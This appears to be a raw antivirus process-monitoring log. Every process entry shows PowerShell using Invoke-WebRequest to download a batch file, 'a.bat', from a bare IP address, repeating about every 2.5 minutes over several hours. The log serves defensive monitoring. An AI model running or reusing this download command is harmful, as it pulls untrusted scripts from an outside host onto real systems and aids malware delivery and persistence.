C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:41:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:44:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:46:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:49:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:51:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:56:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 18:59:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:01:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:04:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:06:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:09:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:11:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:14:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:16:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:19:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:21:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:24:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:26:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:29:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:31:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:34:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:36:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:39:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:41:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:44:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:46:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:49:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:51:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:54:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:56:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 19:59:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:01:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:04:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:06:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:09:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:11:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:14:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:16:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:19:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:21:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:24:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:26:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:29:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:31:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:36:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:39:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:41:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:44:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:49:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:54:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 20:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:01:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:04:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:06:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:09:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:11:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:14:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:16:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:19:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:21:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:24:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:26:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:29:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:31:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:34:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:36:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:39:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:41:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:44:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:46:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:49:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:51:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:54:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:56:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 21:59:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:01:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:04:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:06:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:09:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:14:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:16:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:24:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:27:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:29:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:32:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:34:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:37:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:44:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:47:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:49:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:52:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:54:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:57:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 22:59:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:02:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:02:29 AVAVER: 21.2.2455 AR2: 240830 defs: 24091102 2024-09-12 23:02:29 ARPOT2: Start 5392 2024-09-12 23:02:29 AR2CFG: 240830 2024-09-12 23:02:29 AR2DEV: Start 1 Driver: 210305 2024-09-12 23:03:32 AR2DEV: Stopped 1 2024-09-12 23:03:32 AVAVER: 21.2.2455 AR2: 240830 defs: 24091202 2024-09-12 23:03:32 ARPOT2: Start 6948 2024-09-12 23:03:32 AR2CFG: 240830 2024-09-12 23:03:32 AR2DEV: Start 1 Driver: 210305 2024-09-12 23:03:32 AR2DEV: Stopped 1 2024-09-12 23:03:32 AVAVER: 21.2.2455 AR2: 240830 defs: 24091202 2024-09-12 23:03:32 ARPOT2: Start 6052 2024-09-12 23:03:32 AR2CFG: 240830 2024-09-12 23:03:32 AR2DEV: Start 1 Driver: 210305 2024-09-12 23:04:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:07:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:09:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:12:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:14:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:17:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:19:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:22:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:24:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:27:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:32:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:34:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:37:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:39:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:42:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:44:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:47:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:49:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:52:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:54:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:57:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-12 23:59:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:02:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:04:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:07:10 NOTIFY: PROCESS 